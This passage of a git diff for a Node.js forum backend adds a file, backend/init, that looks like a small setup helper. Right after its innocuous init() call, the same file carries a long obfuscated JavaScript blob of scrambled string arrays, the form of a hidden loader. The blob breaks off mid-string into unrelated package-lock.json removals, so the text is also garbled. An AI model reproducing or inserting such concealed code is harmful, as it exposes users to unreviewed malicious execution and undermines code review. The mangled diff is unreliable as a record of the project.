--from=build /app/dist ./dist +COPY --from=build /app/prisma ./prisma +COPY backend/package*.json ./ +USER docforum +EXPOSE 3000 +CMD ["node", "dist/server.js"] diff --git a/backend/init b/backend/init new file mode 100644 index 00000000..e6fbe644 --- /dev/null +++ b/backend/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn=24.0.0" - } - }, - "node_modules/@docforum/escrow-sdk": { - "version": "0.2.0", - "resolved": "https://github.com/DocForum/docforum-escrow/releases/download/sdk-v0.2.0/docforum-escrow-sdk-0.2.0.tgz", - "integrity": "sha512-M7I6CctDSvimCWT/fa9VIwHGC/qgoO9O9OXQXQqsPXK7JPfN1ndtOFNDnpQlkAYvqnojPSaJ3JpysildOUWUNw==", - "dependencies": { - "@stellar/stellar-sdk": "^16.0.1" - } - }, - "node_modules/@electric-sql/pglite": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/@electric-sql/pglite/-/pglite-0.4.3.tgz", - "integrity": "sha512-ichuWTgtd4mOM1G4SpyGJa5trT03lWbMypDV0fUXUCXg5hiHqVAz/bZyV68NqmkLB7WcYmj1RMJVSp8HV/v/ZQ==", - "devOptional": true, - "license": "Apache-2.0" - }, - "node_modules/@electric-sql/pglite-socket": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@electric-sql/pglite-socket/-/pglite-socket-0.1.3.tgz", - "integrity": "sha512-LAciWM0M1dCL8hlsxu2venbVZcdxema0BtDfpWYVqr+Y468UADw0pFWidhKw1M8sfJ8rdLT71tjMmnirf/IZRQ==", - "devOptional": true, - "license": "Apache-2.0", - "bin": { - "pglite-server": "dist/scripts/server.js" - }, - "peerDependencies": { - "@electric-sql/pglite": "0.4.3" - } - }, - "node_modules/@electric-sql/pglite-tools": { - "version": "0.3.3", - "resolved": "https://registry.npmjs.org/@electric-sql/pglite-tools/-/pglite-tools-0.3.3.tgz", - "integrity": "sha512-AlzLJTRJ8+UFgK8CmxIpyIpJ0+YaFw02IiOSdYrqxwPXdSyeIShz8aa9Tq+tYFXdPwcaMp/Fc80mQZ1dkOQ/wg==", - "devOptional": true, - "license": "Apache-2.0", - "peerDependencies": { - "@electric-sql/pglite": "0.4.3" - } - }, - "node_modules/@embedded-postgres/darwin-arm64": { - "version": "18.4.0-beta.17", - "resolved": "https://registry.npmjs.org/@embedded-postgres/darwin-arm64/-/darwin-arm64-18.4.0-beta.17.tgz", - "integrity": "sha512-Kg1ZMNFzkVIJs3g4V2UYEc5X005km9rGinxFBH8R1sOU2Rblvz4pt2Uf93Pu8Rk273Ue9HIdrbMPpgUqwjUi0Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@embedded-postgres/darwin-x64": { - "version": "18.4.0-beta.17", - "resolved": "https://registry.npmjs.org/@embedded-postgres/darwin-x64/-/darwin-x64-18.4.0-beta.17.tgz", - "integrity": "sha512-4tShSYWMxUQTSWoQAdLnHISvRj6L9gTch9/31ASJPg6wgyN64LDRwMcOINEWybM7N0ropJ3nTYhFT3UX1bKY5Q==", - "cpu": [ - "x64" - ], - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@embedded-postgres/linux-arm": { - "version": "18.4.0-beta.17", - "resolved": "https://registry.npmjs.org/@embedded-postgres/linux-arm/-/linux-arm-18.4.0-beta.17.tgz", - "integrity": "sha512-VuD1nFasN7yG57zpJcp6MBXM0nXqGfb8GBQV+f1FGJ17+VMNYLIFLhFp99UlY4xnWG74FQC4NPYw8eCwSTJ6qg==", - "cpu": [ - "arm" - ], - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@embedded-postgres/linux-arm64": { - "version": "18.4.0-beta.17", - "resolved": "https://registry.npmjs.org/@embedded-postgres/linux-arm64/-/linux-arm64-18.4.0-beta.17.tgz", - "integrity": "sha512-TIzjtGnDGSD/LbdW0OWCEcbI+YVT0WKSfSr20TCkkP4UR8zeKe+QCZbO0/CM4hS9EWyZ4cDebjRvpRc3iMi6wg==", - "cpu": [ - "arm64" - ], - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@embedded-postgres/linux-ia32": { - "version": "18.4.0-beta.17", - "resolved": "https://registry.npmjs.org/@embedded-postgres/linux-ia32/-/linux-ia32-18.4.0-beta.17.tgz", - "integrity": "sha512-aSRe4kknqRHuedtpo/rDIaqa8r9VrKIgW9p5FkJyIFqUUkIkxRqND1dg8xrDRREcSUXRJKS0x+j/AuxflgYIfg==", - "cpu": [ - "ia32" - ], - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@embedded-postgres/linux-ppc64": { - "version": "18.4.0-beta.17", - "resolved": "https://registry.npmjs.org/@embedded-postgres/linux-ppc64/-/linux-ppc64-18.4.0-beta.17.tgz", - "integrity": "sha512-zO2RRUFdKRPplrdhmglG39VXJZzDXu3P3ONAG1sFPhGh89vbk24Btd5P7uOmQLIpWehzL0s+UqUWoeE/ZUKvgw==", - "cpu": [ - "ppc64" - ], - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@embedded-postgres/linux-x64": { - "version": "18.4.0-beta.17", - "resolved": "https://registry.npmjs.org/@embedded-postgres/linux-x64/-/linux-x64-18.4.0-beta.17.tgz", - "integrity": "sha512-jVw/MdDtIX/vICH/DKIe6/mHpiCggdx6QVyza4vt/NbcZFsL0KhwglF6F1Koqx3gRBZ9XtN+vi63EsqSyqOSxA==", - "cpu": [ - "x64" - ], - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@embedded-postgres/windows-x64": { - "version": "18.4.0-beta.17", - "resolved": "https://registry.npmjs.org/@embedded-postgres/windows-x64/-/windows-x64-18.4.0-beta.17.tgz", - "integrity": "sha512-AwRerliA4IGWyW5jWBvHt5vidVUSB0QQW9Tt2y7ScnmifnCb/awfxZr4BkBSTv+gNt8Djcddqs+xSF5Z6/CkTg==", - "cpu": [ - "x64" - ], - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.2.tgz", - "integrity": "sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.2.tgz", - "integrity": "sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.2.tgz", - "integrity": "sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.2.tgz", - "integrity": "sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.2.tgz", - "integrity": "sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.2.tgz", - "integrity": "sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.2.tgz", - "integrity": "sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.2.tgz", - "integrity": "sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.2.tgz", - "integrity": "sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.2.tgz", - "integrity": "sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.2.tgz", - "integrity": "sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.2.tgz", - "integrity": "sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.2.tgz", - "integrity": "sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.2.tgz", - "integrity": "sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.2.tgz", - "integrity": "sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.2.tgz", - "integrity": "sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.2.tgz", - "integrity": "sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.2.tgz", - "integrity": "sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.2.tgz", - "integrity": "sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.2.tgz", - "integrity": "sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.2.tgz", - "integrity": "sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openharmony-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.2.tgz", - "integrity": "sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.2.tgz", - "integrity": "sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.2.tgz", - "integrity": "sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.2.tgz", - "integrity": "sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.2.tgz", - "integrity": "sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@formatjs/ecma402-abstract": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/@formatjs/ecma402-abstract/-/ecma402-abstract-2.3.6.tgz", - "integrity": "sha512-HJnTFeRM2kVFVr5gr5kH1XP6K0JcJtE7Lzvtr3FS/so5f1kpsqqqxy5JF+FRaO6H2qmcMfAUIox7AJteieRtVw==", - "license": "MIT", - "dependencies": { - "@formatjs/fast-memoize": "2.2.7", - "@formatjs/intl-localematcher": "0.6.2", - "decimal.js": "^10.4.3", - "tslib": "^2.8.0" - } - }, - "node_modules/@formatjs/fast-memoize": { - "version": "2.2.7", - "resolved": "https://registry.npmjs.org/@formatjs/fast-memoize/-/fast-memoize-2.2.7.tgz", - "integrity": "sha512-Yabmi9nSvyOMrlSeGGWDiH7rf3a7sIwplbvo/dlz9WCIjzIQAfy1RMf4S0X3yG724n5Ghu2GmEl5NJIV6O9sZQ==", - "license": "MIT", - "dependencies": { - "tslib": "^2.8.0" - } - }, - "node_modules/@formatjs/icu-messageformat-parser": { - "version": "2.11.4", - "resolved": "https://registry.npmjs.org/@formatjs/icu-messageformat-parser/-/icu-messageformat-parser-2.11.4.tgz", - "integrity": "sha512-7kR78cRrPNB4fjGFZg3Rmj5aah8rQj9KPzuLsmcSn4ipLXQvC04keycTI1F7kJYDwIXtT2+7IDEto842CfZBtw==", - "license": "MIT", - "dependencies": { - "@formatjs/ecma402-abstract": "2.3.6", - "@formatjs/icu-skeleton-parser": "1.8.16", - "tslib": "^2.8.0" - } - }, - "node_modules/@formatjs/icu-skeleton-parser": { - "version": "1.8.16", - "resolved": "https://registry.npmjs.org/@formatjs/icu-skeleton-parser/-/icu-skeleton-parser-1.8.16.tgz", - "integrity": "sha512-H13E9Xl+PxBd8D5/6TVUluSpxGNvFSlN/b3coUp0e0JpuWXXnQDiavIpY3NnvSp4xhEMoXyyBvVfdFX8jglOHQ==", - "license": "MIT", - "dependencies": { - "@formatjs/ecma402-abstract": "2.3.6", - "tslib": "^2.8.0" - } - }, - "node_modules/@formatjs/intl-localematcher": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/@formatjs/intl-localematcher/-/intl-localematcher-0.6.2.tgz", - "integrity": "sha512-XOMO2Hupl0wdd172Y06h6kLpBz6Dv+J4okPLl4LPtzbr8f66WbIoy4ev98EBuZ6ZK4h5ydTN6XneT4QVpD7cdA==", - "license": "MIT", - "dependencies": { - "tslib": "^2.8.0" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.6.0.tgz", - "integrity": "sha512-T7jf+5zgsZHwNJ4lvQ7/aezbyk0nNX+zJVWpmHA7VYsEx7a7qr5Rg5IbtJFqkgze5Y2sruq1RUY8Q837Od7iFw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@napi-rs/lzma-linux-x64-gnu": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/@napi-rs/lzma-linux-x64-gnu/-/lzma-linux-x64-gnu-1.5.1.tgz", - "integrity": "sha512-oTXEIha4SsuXdTA4Iyskj0kpdx2yVXdhd75c2v3xGrHFfVMsbhTPZU/nMPL4sWKo4pBHm3aucLaqGlF696dTyQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^22.20 || ^24.12 || >=25" - } - }, - "node_modules/@noble/ed25519": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@noble/ed25519/-/ed25519-3.2.0.tgz", - "integrity": "sha512-criDgRlnUA09hchYrTy/JUWPIEap5rZxQe6wDWzRx51oWWpDRcUpuNzlgPxDJaOK6AsW9c0wKcj3rKRv6t+bPQ==", - "license": "MIT", - "funding": { - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/@noble/hashes": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.8.0.tgz", - "integrity": "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^14.21.3 || >=16" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/@paralleldrive/cuid2": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/@paralleldrive/cuid2/-/cuid2-2.3.1.tgz", - "integrity": "sha512-XO7cAxhnTZl0Yggq6jOgjiOHhbgcO4NqFqwSmQpjK3b6TEE6Uj/jfSk6wzYyemh3+I0sHirKSetjQwn5cZktFw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@noble/hashes": "^1.1.5" - } - }, - "node_modules/@pinojs/redact": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/@pinojs/redact/-/redact-0.4.0.tgz", - "integrity": "sha512-k2ENnmBugE/rzQfEcdWHcCY+/FM3VLzH9cYEsbdsoqrvzAKRhUZeRNhAZvB8OitQJ1TBed3yqWtdjzS6wJKBwg==", - "license": "MIT" - }, - "node_modules/@prisma/adapter-pg": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@prisma/adapter-pg/-/adapter-pg-7.10.1.tgz", - "integrity": "sha512-EP9ruPYHjKP80WZlb5qVaEXKgZjJieBFjAxcBtQnDAHD6+16UN4keVmBh6L/RUpuDQT2FQRbvKNgq5d4Ix+IkQ==", - "license": "Apache-2.0", - "dependencies": { - "@prisma/driver-adapter-utils": "7.10.1", - "@types/pg": "^8.16.0", - "pg": "^8.16.3", - "postgres-array": "3.0.4" - } - }, - "node_modules/@prisma/adapter-pg/node_modules/postgres-array": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-3.0.4.tgz", - "integrity": "sha512-nAUSGfSDGOaOAEGwqsRY27GPOea7CNipJPOA7lPbdEpx5Kg3qzdP0AaWC5MlhTWV9s4hFX39nomVZ+C4tnGOJQ==", - "license": "MIT", - "engines": { - "node": ">=12" - } - }, - "node_modules/@prisma/client": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@prisma/client/-/client-7.10.1.tgz", - "integrity": "sha512-5tgAbFGh//zVOC6WPNVgziOErJHYkUE+wmqCwbIyq6IrTXUYtv9y2iBFGh/Owo99Mx0+cr0j1FOrxkYBMuyhaQ==", - "license": "Apache-2.0", - "dependencies": { - "@prisma/client-runtime-utils": "7.10.1" - }, - "engines": { - "node": "^20.19 || ^22.12 || >=24.0" - }, - "peerDependencies": { - "prisma": "*", - "typescript": ">=5.4.0" - }, - "peerDependenciesMeta": { - "prisma": { - "optional": true - }, - "typescript": { - "optional": true - } - } - }, - "node_modules/@prisma/client-runtime-utils": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@prisma/client-runtime-utils/-/client-runtime-utils-7.10.1.tgz", - "integrity": 